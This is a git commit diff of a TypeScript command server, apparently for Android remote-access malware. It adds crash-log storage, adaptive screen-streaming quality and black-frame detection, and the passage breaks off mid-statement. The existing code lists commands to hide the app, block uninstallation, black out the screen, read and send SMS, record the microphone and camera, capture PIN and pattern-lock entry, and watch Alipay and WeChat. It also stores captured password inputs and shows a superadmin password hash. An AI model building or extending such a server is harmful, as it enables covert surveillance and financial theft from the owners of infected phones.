上传
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"savedAt": "2026-02-09T07:39:21.559Z",
|
||||
"savedAt": "2026-02-11T06:55:22.693Z",
|
||||
"users": [
|
||||
{
|
||||
"id": "admin_1762534368537",
|
||||
@@ -16,7 +16,7 @@
|
||||
"passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy",
|
||||
"role": "superadmin",
|
||||
"createdAt": "2025-11-07T16:53:46.677Z",
|
||||
"lastLoginAt": "2026-02-09T07:39:21.559Z"
|
||||
"lastLoginAt": "2026-02-11T06:55:22.692Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
BIN
devices.db
BIN
devices.db
Binary file not shown.
154
src/index.ts
154
src/index.ts
@@ -25,6 +25,7 @@ import Logger from './utils/Logger'
|
||||
import APKBuildService from './services/APKBuildService'
|
||||
import AuthService from './services/AuthService'
|
||||
import DeviceInfoSyncService from './services/DeviceInfoSyncService'
|
||||
import { AdaptiveQualityService } from './services/AdaptiveQualityService'
|
||||
|
||||
/**
|
||||
* 远程控制服务端主应用
|
||||
@@ -41,6 +42,7 @@ class RemoteControlServer {
|
||||
private apkBuildService: APKBuildService
|
||||
private authService: AuthService
|
||||
private deviceInfoSyncService: DeviceInfoSyncService
|
||||
private adaptiveQualityService: AdaptiveQualityService
|
||||
private upload: multer.Multer
|
||||
private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = []
|
||||
private isProcessingRegistration = false
|
||||
@@ -91,6 +93,7 @@ class RemoteControlServer {
|
||||
this.authService = new AuthService()
|
||||
// 注意:AuthService 的异步初始化在 start() 方法中执行
|
||||
this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService)
|
||||
this.adaptiveQualityService = new AdaptiveQualityService()
|
||||
|
||||
// 配置multer用于文件上传
|
||||
this.upload = multer({
|
||||
@@ -807,6 +810,38 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 💥 崩溃日志相关API (需要认证)
|
||||
this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
const { page = 1, pageSize = 20 } = req.query
|
||||
const result = this.databaseService.getCrashLogs(
|
||||
deviceId,
|
||||
parseInt(page as string),
|
||||
parseInt(pageSize as string)
|
||||
)
|
||||
res.json({ success: true, data: result })
|
||||
} catch (error) {
|
||||
this.logger.error('获取崩溃日志失败:', error)
|
||||
res.status(500).json({ success: false, message: '获取崩溃日志失败' })
|
||||
}
|
||||
})
|
||||
|
||||
this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => {
|
||||
try {
|
||||
const logId = parseInt(req.params.logId)
|
||||
const detail = this.databaseService.getCrashLogDetail(logId)
|
||||
if (detail) {
|
||||
res.json({ success: true, data: detail })
|
||||
} else {
|
||||
res.status(404).json({ success: false, message: '崩溃日志不存在' })
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('获取崩溃日志详情失败:', error)
|
||||
res.status(500).json({ success: false, message: '获取崩溃日志详情失败' })
|
||||
}
|
||||
})
|
||||
|
||||
// APK相关路由 (需要认证)
|
||||
this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => {
|
||||
try {
|
||||
@@ -1181,6 +1216,11 @@ class RemoteControlServer {
|
||||
|
||||
// 处理屏幕数据
|
||||
socket.on('screen_data', (data: any) => {
|
||||
// 📊 记录帧统计用于自适应画质
|
||||
if (data?.deviceId) {
|
||||
const dataSize = typeof data.data === 'string' ? data.data.length : 0
|
||||
this.adaptiveQualityService.recordFrame(data.deviceId, dataSize)
|
||||
}
|
||||
this.messageRouter.routeScreenData(socket.id, data)
|
||||
})
|
||||
|
||||
@@ -1253,6 +1293,120 @@ class RemoteControlServer {
|
||||
this.messageRouter.handleOperationLog(socket.id, data)
|
||||
})
|
||||
|
||||
// 💥 处理崩溃日志(从设备接收)
|
||||
socket.on('crash_log', (data: any) => {
|
||||
this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
|
||||
try {
|
||||
if (data?.deviceId && data?.content) {
|
||||
this.databaseService.saveCrashLog({
|
||||
deviceId: data.deviceId,
|
||||
fileName: data.fileName || 'unknown.log',
|
||||
content: data.content,
|
||||
fileSize: data.fileSize,
|
||||
crashTime: data.crashTime,
|
||||
uploadTime: data.uploadTime,
|
||||
deviceModel: data.deviceModel,
|
||||
osVersion: data.osVersion
|
||||
})
|
||||
// 通知Web端有新的崩溃日志
|
||||
this.webClientManager.broadcastToAll('crash_log_received', {
|
||||
deviceId: data.deviceId,
|
||||
fileName: data.fileName,
|
||||
crashTime: data.crashTime,
|
||||
deviceModel: data.deviceModel,
|
||||
timestamp: Date.now()
|
||||
})
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('处理崩溃日志失败:', error)
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端质量反馈
|
||||
socket.on('quality_feedback', (data: any) => {
|
||||
if (!data?.deviceId) return
|
||||
const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, {
|
||||
fps: data.fps || 0,
|
||||
dropRate: data.dropRate || 0,
|
||||
renderLatency: data.renderLatency,
|
||||
})
|
||||
if (result.shouldAdjust && result.newParams) {
|
||||
// 转发质量调整指令给Android设备
|
||||
const device = this.deviceManager.getDevice(data.deviceId)
|
||||
if (device) {
|
||||
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('quality_adjust', {
|
||||
fps: result.newParams.fps,
|
||||
quality: result.newParams.quality,
|
||||
maxWidth: result.newParams.maxWidth,
|
||||
maxHeight: result.newParams.maxHeight,
|
||||
})
|
||||
this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`)
|
||||
}
|
||||
}
|
||||
// 通知Web端参数已变更
|
||||
socket.emit('quality_changed', {
|
||||
deviceId: data.deviceId,
|
||||
...result.newParams,
|
||||
auto: true,
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端手动切换质量档位
|
||||
socket.on('set_quality_profile', (data: any) => {
|
||||
if (!data?.deviceId || !data?.profile) return
|
||||
const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile)
|
||||
if (result) {
|
||||
const device = this.deviceManager.getDevice(data.deviceId)
|
||||
if (device) {
|
||||
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('quality_adjust', result.params)
|
||||
}
|
||||
}
|
||||
socket.emit('quality_changed', {
|
||||
deviceId: data.deviceId,
|
||||
...result.params,
|
||||
profile: data.profile,
|
||||
auto: false,
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端手动设置自定义参数
|
||||
socket.on('set_quality_params', (data: any) => {
|
||||
if (!data?.deviceId) return
|
||||
const result = this.adaptiveQualityService.setCustomParams(data.deviceId, {
|
||||
fps: data.fps,
|
||||
quality: data.quality,
|
||||
maxWidth: data.maxWidth,
|
||||
maxHeight: data.maxHeight,
|
||||
})
|
||||
const device = this.deviceManager.getDevice(data.deviceId)
|
||||
if (device) {
|
||||
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('quality_adjust', result.params)
|
||||
}
|
||||
}
|
||||
socket.emit('quality_changed', {
|
||||
deviceId: data.deviceId,
|
||||
...result.params,
|
||||
auto: false,
|
||||
})
|
||||
})
|
||||
|
||||
// 📊 获取画质档位列表
|
||||
socket.on('get_quality_profiles', (callback: any) => {
|
||||
if (typeof callback === 'function') {
|
||||
callback(this.adaptiveQualityService.getProfiles())
|
||||
}
|
||||
})
|
||||
|
||||
// 🆕 处理设备输入阻塞状态变更(从设备接收)
|
||||
socket.on('device_input_blocked_changed', (data: any) => {
|
||||
this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`)
|
||||
|
||||
278
src/services/AdaptiveQualityService.ts
Normal file
278
src/services/AdaptiveQualityService.ts
Normal file
@@ -0,0 +1,278 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 自适应画质控制服务
|
||||
*
|
||||
* 参考billd-desk的参数化质量控制思路,但通过服务器中继实现(非P2P直连)。
|
||||
* 服务端作为中间人,收集Web端的网络质量反馈,转发给Android端调整采集参数。
|
||||
*/
|
||||
|
||||
interface QualityProfile {
|
||||
fps: number
|
||||
quality: number // JPEG质量 (25-80)
|
||||
maxWidth: number
|
||||
maxHeight: number
|
||||
label: string
|
||||
}
|
||||
|
||||
interface DeviceQualityState {
|
||||
deviceId: string
|
||||
currentProfile: string // 当前质量档位名
|
||||
fps: number
|
||||
quality: number
|
||||
maxWidth: number
|
||||
maxHeight: number
|
||||
// 统计
|
||||
frameCount: number
|
||||
lastFrameTime: number
|
||||
avgFrameSize: number
|
||||
frameSizeWindow: number[]
|
||||
// Web端反馈
|
||||
clientFps: number
|
||||
clientDropRate: number
|
||||
lastFeedbackTime: number
|
||||
}
|
||||
|
||||
const QUALITY_PROFILES: Record<string, QualityProfile> = {
|
||||
low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' },
|
||||
medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
}
|
||||
|
||||
export class AdaptiveQualityService {
|
||||
private logger = new Logger('AdaptiveQuality')
|
||||
private deviceStates = new Map<string, DeviceQualityState>()
|
||||
private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧
|
||||
private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次
|
||||
private autoAdjustTimer: NodeJS.Timeout | null = null
|
||||
|
||||
constructor() {
|
||||
this.startAutoAdjust()
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取或创建设备质量状态
|
||||
*/
|
||||
private getOrCreateState(deviceId: string): DeviceQualityState {
|
||||
if (!this.deviceStates.has(deviceId)) {
|
||||
const defaultProfile = QUALITY_PROFILES.medium
|
||||
this.deviceStates.set(deviceId, {
|
||||
deviceId,
|
||||
currentProfile: 'medium',
|
||||
fps: defaultProfile.fps,
|
||||
quality: defaultProfile.quality,
|
||||
maxWidth: defaultProfile.maxWidth,
|
||||
maxHeight: defaultProfile.maxHeight,
|
||||
frameCount: 0,
|
||||
lastFrameTime: 0,
|
||||
avgFrameSize: 0,
|
||||
frameSizeWindow: [],
|
||||
clientFps: 0,
|
||||
clientDropRate: 0,
|
||||
lastFeedbackTime: 0,
|
||||
})
|
||||
}
|
||||
return this.deviceStates.get(deviceId)!
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录收到的帧(服务端统计用)
|
||||
*/
|
||||
recordFrame(deviceId: string, frameSize: number): void {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.frameCount++
|
||||
state.lastFrameTime = Date.now()
|
||||
state.frameSizeWindow.push(frameSize)
|
||||
if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) {
|
||||
state.frameSizeWindow.shift()
|
||||
}
|
||||
state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理Web端的质量反馈
|
||||
*/
|
||||
handleClientFeedback(deviceId: string, feedback: {
|
||||
fps: number
|
||||
dropRate: number
|
||||
renderLatency?: number
|
||||
}): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.clientFps = feedback.fps
|
||||
state.clientDropRate = feedback.dropRate
|
||||
state.lastFeedbackTime = Date.now()
|
||||
|
||||
// 根据反馈决定是否需要调整
|
||||
if (feedback.dropRate > 0.1) {
|
||||
// 丢帧率>10%,降低质量
|
||||
return this.adjustDown(deviceId)
|
||||
} else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) {
|
||||
// 丢帧率<2%且帧率接近目标,可以尝试提升
|
||||
return this.adjustUp(deviceId)
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* Web端手动设置质量档位
|
||||
*/
|
||||
setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null {
|
||||
const profile = QUALITY_PROFILES[profileName]
|
||||
if (!profile) return null
|
||||
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.currentProfile = profileName
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
return { params: profile }
|
||||
}
|
||||
|
||||
/**
|
||||
* Web端手动设置自定义参数(参考billd-desk的精细控制)
|
||||
*/
|
||||
setCustomParams(deviceId: string, params: {
|
||||
fps?: number
|
||||
quality?: number
|
||||
maxWidth?: number
|
||||
maxHeight?: number
|
||||
}): { params: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps))
|
||||
if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality))
|
||||
if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth))
|
||||
if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight))
|
||||
state.currentProfile = 'custom'
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
return {
|
||||
params: {
|
||||
fps: state.fps,
|
||||
quality: state.quality,
|
||||
maxWidth: state.maxWidth,
|
||||
maxHeight: state.maxHeight,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 降低质量
|
||||
*/
|
||||
private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
const profileOrder = ['ultra', 'high', 'medium', 'low']
|
||||
const currentIdx = profileOrder.indexOf(state.currentProfile)
|
||||
|
||||
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
|
||||
const nextProfile = profileOrder[currentIdx + 1]
|
||||
const profile = QUALITY_PROFILES[nextProfile]
|
||||
state.currentProfile = nextProfile
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
// 已经是最低档,尝试进一步降低fps
|
||||
if (state.fps > 3) {
|
||||
state.fps = Math.max(3, state.fps - 2)
|
||||
this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
return { shouldAdjust: true, newParams: { fps: state.fps } }
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* 提升质量
|
||||
*/
|
||||
private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
const profileOrder = ['low', 'medium', 'high', 'ultra']
|
||||
const currentIdx = profileOrder.indexOf(state.currentProfile)
|
||||
|
||||
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
|
||||
const nextProfile = profileOrder[currentIdx + 1]
|
||||
const profile = QUALITY_PROFILES[nextProfile]
|
||||
state.currentProfile = nextProfile
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* 自动调整定时器
|
||||
*/
|
||||
private startAutoAdjust(): void {
|
||||
this.autoAdjustTimer = setInterval(() => {
|
||||
// 对有反馈数据的设备进行自动调整
|
||||
for (const [deviceId, state] of this.deviceStates) {
|
||||
if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈,跳过
|
||||
// 自动调整逻辑已在handleClientFeedback中处理
|
||||
}
|
||||
}, this.AUTO_ADJUST_INTERVAL)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备当前质量参数
|
||||
*/
|
||||
getDeviceQuality(deviceId: string): DeviceQualityState | null {
|
||||
return this.deviceStates.get(deviceId) || null
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有可用的质量档位
|
||||
*/
|
||||
getProfiles(): Record<string, QualityProfile> {
|
||||
return { ...QUALITY_PROFILES }
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取统计信息
|
||||
*/
|
||||
getStats(): object {
|
||||
const stats: any = { deviceCount: this.deviceStates.size, devices: {} }
|
||||
for (const [deviceId, state] of this.deviceStates) {
|
||||
stats.devices[deviceId] = {
|
||||
profile: state.currentProfile,
|
||||
fps: state.fps,
|
||||
quality: state.quality,
|
||||
resolution: `${state.maxWidth}x${state.maxHeight}`,
|
||||
frameCount: state.frameCount,
|
||||
avgFrameSize: Math.round(state.avgFrameSize),
|
||||
clientFps: state.clientFps,
|
||||
clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%',
|
||||
}
|
||||
}
|
||||
return stats
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理设备状态
|
||||
*/
|
||||
removeDevice(deviceId: string): void {
|
||||
this.deviceStates.delete(deviceId)
|
||||
}
|
||||
|
||||
destroy(): void {
|
||||
if (this.autoAdjustTimer) {
|
||||
clearInterval(this.autoAdjustTimer)
|
||||
}
|
||||
this.deviceStates.clear()
|
||||
}
|
||||
}
|
||||
@@ -42,12 +42,12 @@ export interface DeviceStateRecord {
|
||||
password?: string
|
||||
inputBlocked: boolean
|
||||
loggingEnabled: boolean
|
||||
blackScreenActive: boolean // 🆕 添加黑屏遮盖状态
|
||||
appHidden: boolean // 🆕 添加应用隐藏状态
|
||||
uninstallProtectionEnabled: boolean // 🛡️ 添加防止卸载保护状态
|
||||
blackScreenActive: boolean
|
||||
appHidden: boolean
|
||||
uninstallProtectionEnabled: boolean
|
||||
lastPasswordUpdate?: Date
|
||||
confirmButtonCoords?: { x: number, y: number } // 🆕 确认按钮坐标
|
||||
learnedConfirmButton?: { x: number, y: number, count: number } // 🆕 学习的确认按钮坐标
|
||||
confirmButtonCoords?: { x: number, y: number }
|
||||
learnedConfirmButton?: { x: number, y: number, count: number }
|
||||
createdAt: Date
|
||||
updatedAt: Date
|
||||
}
|
||||
@@ -350,6 +350,29 @@ export class DatabaseService {
|
||||
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
|
||||
`)
|
||||
|
||||
// 💥 创建崩溃日志表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS crash_logs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
deviceId TEXT NOT NULL,
|
||||
fileName TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
fileSize INTEGER,
|
||||
crashTime INTEGER,
|
||||
uploadTime INTEGER,
|
||||
deviceModel TEXT,
|
||||
osVersion TEXT,
|
||||
createdAt DATETIME NOT NULL,
|
||||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||||
)
|
||||
`)
|
||||
this.db.exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_crash_logs_deviceId ON crash_logs (deviceId)
|
||||
`)
|
||||
this.db.exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC)
|
||||
`)
|
||||
|
||||
this.logger.info('数据库表初始化完成')
|
||||
} catch (error) {
|
||||
this.logger.error('初始化数据库失败:', error)
|
||||
@@ -1924,6 +1947,11 @@ export class DatabaseService {
|
||||
const passwordInputsResult = deletePasswordInputs.run(deviceId)
|
||||
this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`)
|
||||
|
||||
// 6.5 删除崩溃日志
|
||||
const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?')
|
||||
const crashLogsResult = deleteCrashLogs.run(deviceId)
|
||||
this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes} 条`)
|
||||
|
||||
// 7. 删除用户设备权限记录
|
||||
const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?')
|
||||
const userPermissionsResult = deleteUserPermissions.run(deviceId)
|
||||
@@ -2093,4 +2121,90 @@ export class DatabaseService {
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
// ==================== 💥 崩溃日志相关 ====================
|
||||
|
||||
/**
|
||||
* 💥 保存崩溃日志
|
||||
*/
|
||||
saveCrashLog(data: {
|
||||
deviceId: string
|
||||
fileName: string
|
||||
content: string
|
||||
fileSize?: number
|
||||
crashTime?: number
|
||||
uploadTime?: number
|
||||
deviceModel?: string
|
||||
osVersion?: string
|
||||
}): boolean {
|
||||
try {
|
||||
const stmt = this.db.prepare(`
|
||||
INSERT INTO crash_logs (deviceId, fileName, content, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`)
|
||||
stmt.run(
|
||||
data.deviceId,
|
||||
data.fileName,
|
||||
data.content,
|
||||
data.fileSize || 0,
|
||||
data.crashTime || 0,
|
||||
data.uploadTime || Date.now(),
|
||||
data.deviceModel || '',
|
||||
data.osVersion || '',
|
||||
new Date().toISOString()
|
||||
)
|
||||
this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
|
||||
return true
|
||||
} catch (error) {
|
||||
this.logger.error('保存崩溃日志失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取设备的崩溃日志列表
|
||||
*/
|
||||
getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): {
|
||||
logs: any[]
|
||||
total: number
|
||||
page: number
|
||||
pageSize: number
|
||||
totalPages: number
|
||||
} {
|
||||
try {
|
||||
const countStmt = this.db.prepare('SELECT COUNT(*) as total FROM crash_logs WHERE deviceId = ?')
|
||||
const { total } = countStmt.get(deviceId) as { total: number }
|
||||
|
||||
const offset = (page - 1) * pageSize
|
||||
const stmt = this.db.prepare(`
|
||||
SELECT id, deviceId, fileName, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt
|
||||
FROM crash_logs WHERE deviceId = ? ORDER BY crashTime DESC LIMIT ? OFFSET ?
|
||||
`)
|
||||
const logs = stmt.all(deviceId, pageSize, offset)
|
||||
|
||||
return {
|
||||
logs,
|
||||
total,
|
||||
page,
|
||||
pageSize,
|
||||
totalPages: Math.ceil(total / pageSize)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('获取崩溃日志列表失败:', error)
|
||||
return { logs: [], total: 0, page, pageSize, totalPages: 0 }
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取崩溃日志详情(含内容)
|
||||
*/
|
||||
getCrashLogDetail(logId: number): any | null {
|
||||
try {
|
||||
const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?')
|
||||
return stmt.get(logId) || null
|
||||
} catch (error) {
|
||||
this.logger.error('获取崩溃日志详情失败:', error)
|
||||
return null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -9,7 +9,7 @@ import path from 'path'
|
||||
* 控制消息接口
|
||||
*/
|
||||
export interface ControlMessage {
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
|
||||
deviceId: string
|
||||
data: any
|
||||
timestamp: number
|
||||
@@ -143,6 +143,10 @@ export class MessageRouter {
|
||||
private droppedMicrophoneAudio = 0
|
||||
private totalMicrophoneAudioSize = 0
|
||||
|
||||
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
|
||||
private consecutiveBlackFrames = new Map<string, number>()
|
||||
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
|
||||
|
||||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
|
||||
this.deviceManager = deviceManager
|
||||
this.webClientManager = webClientManager
|
||||
@@ -536,6 +540,60 @@ export class MessageRouter {
|
||||
return false
|
||||
}
|
||||
|
||||
// ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
|
||||
// 正常480×854 JPEG即使最低质量也远大于此值
|
||||
const MIN_VALID_FRAME_SIZE = 4000
|
||||
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
|
||||
this.droppedFrames++
|
||||
|
||||
// ✅ 追踪连续黑帧数
|
||||
const deviceId = screenData.deviceId
|
||||
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
|
||||
this.consecutiveBlackFrames.set(deviceId, count)
|
||||
|
||||
if (this.routedFrames % 100 === 0) {
|
||||
this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`)
|
||||
}
|
||||
|
||||
// ✅ 连续50个黑帧后,通知Android端切换到无障碍截图模式
|
||||
if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) {
|
||||
this.captureModeSwitchSent.add(deviceId)
|
||||
this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`)
|
||||
|
||||
try {
|
||||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||||
if (deviceSocketId) {
|
||||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('quality_adjust', {
|
||||
captureMode: 'accessibility',
|
||||
fps: 10,
|
||||
